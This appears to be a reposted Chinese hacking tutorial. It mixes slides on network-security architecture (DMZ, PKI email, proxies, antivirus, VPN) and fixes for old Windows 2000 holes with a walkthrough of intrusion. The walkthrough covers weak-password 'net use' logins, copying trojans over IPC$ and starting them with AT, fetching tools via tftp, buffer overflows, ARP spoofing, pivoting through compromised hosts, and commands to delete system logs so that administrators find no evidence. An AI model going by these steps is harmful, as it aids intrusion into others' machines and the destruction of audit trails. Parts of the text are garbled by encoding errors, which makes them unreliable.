4、做一些好事:正派黑客在完成上面的工作后,就会修复漏洞或者通知系统治理员,做出一些维护网络安全的事情;
5、做一些坏事:邪派黑客在完成上面的工作后,会判定服务器是否还有利用价值。假如有利用价值,他们会在服务器上植入木马或者后门,便于下一次来访;而对没有利用价值的服务器他们决不留情,系统崩溃会让他们感到无限的快感!

黑客是怎么炼成的
网站安全
•采用Web服务器监控与恢复系统
•该系统提供对网站文件内容的实时监控,发现被改动后立即报警并自动恢复。
电子商务安全系统
•典型的电子商务应用
•电子商务中存在的安全问题
•电子商务的安全解决方法
•实时数据交换系统
典型电子商务应用
•Internet--->防火墙--->Web服务器
• || |
• || |
• 内部网(数据库)
电子商务中存在的安全问题
•1、Web服务器端
•Web应用服务器(如IIS、Apache中存在着大量的安全漏洞。用?ё约嚎⒌腃GI、ASP、PH
P应用中存在着潜在的漏洞。

黑客通过这些漏洞攻击Web服务器,可非法篡改网页,造成恶劣影响,动摇了电子商务使
用者的信心。

甚至可获得Web服务器上大量的敏感资料,如用户的信用卡号,用以连接内部数据库的帐
号和口令。
• 可能通过控制Web服务器,来攻击内部数据库。
电子商务中存在的安全问题
•2、SSL协议
•SSL加密强度低。由于浏览器默认的加密模块只支持40位的低强度加密,而且即使在浏览
器中安装更高位的加密模块,由于WEB服务器不提供对高位SSL链接的支持同样无法实现高强
度SSL加密链接。

无法解决电子商务中的用户签名。SSL链接建立WEB服务器和用户浏览器之间的安全通道
只能保证在安全通道内的信息不被窃听或篡改,并不能对用户发送的信息进行签名以保证信
息的有效性和不可抵赖性,而这正是电子商务中必须解决的问题。
电子商务的安全解决方法
•将WEB服务器分为两部分:一般内容的WEB服务器和交易WEB服务器。

一般内容的WEB服务器放置在DMZ区内,采用WEB站点监控和恢复系统保护,防止主页被非
法改动。

交易WEB服务器放置在内部网内,通过一台物理分隔的实时数据?换幌低辰溆隓MZ区相
连。

在客户机和服务器端安装SSL代理,从而获得128位的高强度加密通道
实时数据交换系统
•将系统外部 Web服务器和内部应用Web服务器物理隔开.
•外部Web服务器用于存放一般的信息,内部Web服
务器用于存放敏感信息,并和内部数据
库连接。
•外部用户通过http访问位于DMZ区内的一般Web服务器。
•当进行交易时,用户需访问位于内部网内的应用服务器。
•https连接首先到达实时数据交换系统的虚拟外部Web服务器,实时数据交换系统将https
协议解开,只将https连接的数据内容拷贝到虚拟内部Web服务器,虚拟内部Web服务器将使
用该数据重新发起https连接到实际的内部应用Web服务器.
•内外通过实时数据交换系统进行数据交换,无任何协议和连接穿过实时数据交换系统。
•即使DMZ区的Web服务器受到攻击,
攻击者也的不到任何有用的信息
安全电子邮件系统
•电子邮件的安全问题
•安全电子邮件的解决方法
•一个安全邮件的使用过程
电子邮件的安全问题
•如何保证发送的敏感信息不被泄漏
•如何保证发送的信息不被篡改
•如何确认发件人的真实身份
•如何防止发件人的抵赖行为
安全电子邮件的解决方法
•将PKI体系应用到邮件系统中
•邮件的加密和解密以实现数据的保密。
•邮件的数字签名(鉴别)实现发件人认证和不可抵赖。
•完整性校验功能防止信息传输过程中被篡改可*的安全性。
•采用公开密钥和对称密钥相结合的密钥体系。
•支持128bit对称密钥算法和1024bit公开密钥算法。
办公自动化系统的安全问题
• 如何保证发送的敏感信息不被泄漏
• 如何保证发送的信息不被篡改
• 如何确认发件人的真实身份

如何防止发件人的抵赖行为
安全办公自动化系统的解决方法
•将PKI体系应用到办公自动化系统中
•工作流信息的加密和解密以实现数据保密
•工作流信息的数字签名(鉴别)实现发件人认证和不可抵赖。
•完整性校验功能防止信息传输过程中被篡改可*的安全性。
•采用公开密钥和对称密钥相结合的密钥体系
•支持128bit对称密钥算法和1024bit公开密钥算法。
Internet访问及控制系统
•Internet使用存在的问题
•Internet使用的解决方法
•内容缓存系统
•Internet站点过滤系统
Internet访问存在的问题
•Internet接入带宽不足,访问比较慢。
•大量的用户?梦氏嗤哪谌荩斐纱淼慕徊接导贰?BR>•在上班时间里大量的Internet访问是与业务无关的。
•有人使用公司的Internet系统访问色情网站。
•有人使用公司的Internet系统访问反动站点。
•治理人员无法知道Internet系统的使用情况。
Internet访问的解决方法
• 对于问题一,采用内容缓存系统。
• 对于问题二,采用Internet 站点过滤系统。
内容缓存系统
•1、Client 发起http连接请求
•2、Proxy
收到请求后将检查内部缓存内是否有所需内容,若有,则返还给Client。
•3、若无,则Proxy根据请求向目的服务器发起请求。
•4、Web服务器将内容返回到Proxy服务器。
•5、Proxy服务器将得到的内容发回给Client,并在自己的缓存中保存一份。
Internet站点过滤系统 (一)
•1、Client 发起http连接请求
•2、连接到达防火墙防火墙将URL送到WebSense Server
检查。
•3、WebSense 将审查结果返回到防火墙
•4、防火墙根据其策略决定是否让该连接通过。
Internet站点过滤系统 (二)
•1、Client
发起http连接请求
•2、Proxy 受到请求后将URL送到WebSense
Server检查。
•3、Proxy根据返回的结果决定是否接收该连?忧肭蟆?BR>
病毒防范系统

互连网时代对防病毒系统的要求
• 计算机病毒解决方法
• 典型病毒防范系统部署
互联网时代对防病毒系统的要求

由于计算机的联网使用,使得病毒传播的途径大为增多:网络文件共享、电子邮件、Int
ernet文件下载,传播速度也大为加快。

新病毒的出现速度加快,用户的防病毒软件的病毒特征码没能及时更新。

目前已出现了恶意的Java、ActiveX,当使用者浏览到包含这些代码的网页时,会造成安
全问题。
• 一些来历不明的电子邮件程序或下载的程序中带有特洛依木马,可能会造成受害者的主
机被他人控制。
计算机病毒解决方法
• 从系统的观点考虑病毒的防范,在所有病毒传输的途径上均配置防病毒软件,如客户端
(Win98、 •
Win2000)、文件服务器(NT、Netware)、邮件服务器(Exchange、Lotus
Notes)、Internet接入系统(Proxy、Firewall)等。

整个病毒防范系统采用集中治理的方式,病毒特征码统一更新,安全策略集中设定,从
而使得整个网络系统的病毒特征码得到快速更新。

通过在客户端的浏览器和Proxy、Firewall中嵌入病毒检查软件,来防范下在程序中带有
的病毒和可能的恶意Java、ActiveX等可执行代码的攻击。
回本期目录
黑客是怎样炼成的3 VPN(虚拟私有网)
• 数据加密分类
• 物理线路加密
• 数据链路加密

网络层加密—IPSec
• 传输层加密—SSL
数据加密类型
•物理层->物理层 物理线路加密
•数据链路层->数据链路层 (路由器访问)
•在数据链路层(如PPP)进行加密 L2TP、PPTP、L2F
•网络层->网络层(路由器 防火墙 主机)
•在网络层 (如IP)进行加密
IPSec
•传输层->传输层 (对TCP进行加密 SSL)
•应用层->应用层(在应用层 (如TCP)进行加密
S/MIME、SET、SSH)
物理线路加密
• DDN 加密机
• 帧中继加密机
• 异步拨号Modem
• ISDN线路密码机

ATM加密机
注:传输层加密
•Secure Sockets Layer (SSL) 是一个端到端的Internet
安全协议,通过采用数字证书,
它提供了数据加密、身份认证的功能。SSL建立在传输层,它为客户机和服务器在应用级建
立起一个端到断的安全会话。
•SSL代理—128位的高强度加密模块
结束语•恭喜你:
•学完这些并且可以熟练应用,已经是一个真正的网络安全专家了!
•希望此时的你旁边有个温柔稍有点调皮的女朋友,为这孤独而寂寞的网络添加一点跳动的
色彩!
黑客编:
必须要把握的几个命令
•Net
•netsh
•Ftp
•hostname
•Telenet(nc)
•tracert
•At
•Tftp
•Netstat
•Regedit
ing
必须要把握的几个协议
•http
•dns
•ftp
op
•Smtp
•Icmp
•Udp
•tcp
开始
•把握了黑客攻击的方式和手段后,那么学习黑客就简单多了!
•因为你把握了这些,剩余的就是使用工具入侵
•熟悉把握一套自己用的黑客工具
高级
•自己编写专用的黑客工具
•自己发现系统漏洞
黑客入侵手段
•收集信息:
• 收集要入侵的目标信息
• IP,域名,端口,漏洞,位置
弱口令
•在nt\2000\xp\2003中弱口令可以用
•Net use \ip “password”
/user:user
•假如目标机开3389服务,可以直接连接
•在sql的sa弱口令,可以用sql连接器直接 •登陆
后门木马
•假如有ipc$共享,可以copy过去木马后门
•用at启动
•AT \ip time
/INTERACTIVE
•假如可以得到shell,也可以用tftp
•Tftp.exe –i ip get *.* *.*
•然后直接安装
•假如有3389,可以自己?ㄒ桓鰅is,下载 直接运行
密码破解
•远程破解mysql,mssql,ftp,mail,共享密码
•本地破解治理员(administrator)密码
缓冲溢出
•可以用缓冲溢出攻击,
•比如流行的webdev,rdcom模块漏洞
•可以直接得到system治理权限
•缓冲溢出后的一般现象是:
•Microsoft
Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft
Corp.
C:\WINNT\system32>
Web服务漏洞
•例如:
•Unicode漏洞遍历磁盘和执行程序
•二次编码漏洞遍历磁盘和执行程序
•.HTR漏洞查看源代码
嗅探监听
•例如:
•针对web监听
•针对mail监听
•工具如:sinffer , iris
欺骗攻击
•例如:
•运用arp欺骗攻击
伪装欺骗
•常见的如:mail病毒
•把一个文件改名字甚至图标,欺骗对方执行
社会工程学
•例如:
•QQ聊天诱惑
•EMAIL信息
•电话
•诱惑
拒绝服务
•例如:
•Dos攻击
•Ddos攻击
利用跳板
•利用自己的肉鸡作为跳板攻击别的机器
•My PC------>跳板(肉鸡)--->目标
路由器漏洞
•如:
•原始密码
•程序漏洞
防火墙
•利用欺骗攻击防火墙,导致防火墙功能失效
•利用防火墙的模块漏洞
unix/linux
•NetWare Linux unix solais Solaris hp-unix Aix

•这些目前先不讲解
精通黑客工具
•必须有一套自己可以完全把握的黑客工具
•如端口扫描 Nscan,bluescanport
•监听工具:sinffer
iris
•telnet工具:nc
•扫描工具:sss,nmap,
LANguard
•后门工具:radmin,winshell
•密码破解:lc4
•远程治理:pcanywhere
•会使用各种经典的黑客工具
清除日志
•在你入侵机器以后,离开的时候,要完全清除
•自己在那台机器上留下的痕迹
•例如清除
•Del
C:\WINNT\system32\LogFiles\*.*
•Del C:\WINNT\system32\*.log
•Del C:\WINNT\system32\*.txt
•Del
C:\WINNT\*.log
•Del c:\winnt\*.txt
假如你不清除日志
•当目标机器的治理员发现你的证据
•完全可以让你在大墙内渡过一段日子
黑客
•当你完全把握这些后
•你就成为了一名小黑客
高级
•编写自己的黑客工具
•发现系统漏洞
高级黑客
•目前你足以成为一个高级黑客了
真正的黑客
•精通各种网络协议
•精通操作系统
•精通编程技术
•精通安全防护
•不搞破坏
•挑战技术难题
结束
•想学好这些,并不是*别人给你的,而是*自己的努力,自己的自学得到的!
•别人只能指导你,怎么去做,只能告诉方法,
•真正的实施是你自己,经过N*N个日夜努力换来的
•不要一个问题问多次,要多动手,动脑!
•Google里面有太多的答案,为什么我搜索不到?因为你的要害字用的不对!
第八军团是为了培养出一批优秀的网络人才,让更多想学习网络的爱好者有一个理想的学
习环境
•这三篇幻灯片是我们多年的经验得到的!
•很有价值,望好好保存!仔细研究!
技术巅峰
•希望我们能在这里相聚!

黑客入门级菜鸟必修教程
输入法漏洞
  这里我们首先介绍一个登录错误,也就是常说的输入法漏洞。当我们启动Windows2000进行到登录验证的提示界面时,任何用户都可以打开各种输入法的帮助栏,并且可以利用其中具有的一些功能访问文件系统,这也就是说我们可以绕过了Windows2000的用户登录验证机制,并且能以最高治理员权限访问整个系统。所以说这个漏洞的危害性是很大的,而且当我
们进入系统后,还可以利用Terminal Server远程通信这个漏洞对系统进行攻击。默认的Windows2000系统自带的输入法中有这个漏洞的是:智能ABC,微软拼音,内码,全拼,双拼,郑码。所以就我感觉而言这个漏洞是首要修补的漏洞。
  1、把不需要的输入法删除掉,例如郑码等。
  2、但是究竟我们不能把所有的自带输入法都删除,假如我们要使用有漏洞的输入法也可以把那个输入法的帮助文件删除掉。这些帮助文件通常在win2000的安装目录下(如:C:\WINNT)的\help目录下,对应的帮助文件是:
  ※ WINIME.CHM 输入法操作指南
  ※ WINSP.CHM 双拼输入法帮助
  ※ WINZM.CHM 郑码输入法帮助
  ※ WINPY.CHM 全拼输入法帮助
  ※ WINGB.CHM 内码输入法帮助
  3、强烈建议用户打SP3补丁。
  NetBIOS的信息泄漏
  IPC$Null session(空会话)在NT系统里都是已知的安全隐患。虽然打了SP3后可以通过修改注册表来对其进行限制。但不知道为什么Windows2000还是原封不动地保留着这个空对话。那么就让我们来看看空会话能给入侵者带来什么样的信息:
  net use \\server\IPC$ "" /user:"" //此命令用来建立一个空会话
  net view \\server //此命令用来查看远程服务器的共享资源
  服务器名称      注释
  -------------------------------------------------------
  \\pc1
  \\pc2
  命令成功完成。
  net time \\server //此命令用来得到一个远程服务器的当前时间。
  nbtstat -A server //此命令用来得到远程服务器的NetBIOS用户名字表
  NetBIOS Remote Machine Name Table
  Name Type Status
  ---------------------------------------------
  NULL <00> UNIQUE Registered
  NULL <20> UNIQUE Registered
  INTERNET <00> GROUP Registered
  XIXI <03> UNIQUE Registered
  INet~Services <1C> GROUP Registered
  IS~NULL...... <00> UNIQUE Registered
  INTERNET <1E> GROUP Registered
  ADMINISTATOR <03> UNIQUE Registered
  INTERNET <1D> UNIQUE Registered
  ..__MSBROWSE__.<01> GROUP Registered
  MAC Address = 00-54-4F-34-D8-80
  看到了吗?上面出现了两个<03>,这里就看到了对方所有的用户名。
  对应的修改方法:
  HKEY-LOCAL_MACHINE\SYSTEM\CurrentControSet\Control\LSA
  Value Name: RestrictAnonymous
  Data Type: REG_DWORD
  Value: 1
  假如你不需要这个服务的话,你可以使用以下命令来删除:
  net share ipc$ /del /这条命令是用来删除空会话
  net share admin$ /del /这条命令就删除了治理共享
  UNICODE编码漏洞简单利用的命令
  上一篇:转贴19862002年香港播放过的所有动画片名单

下一篇:QQ宠物1-8关详细图文攻略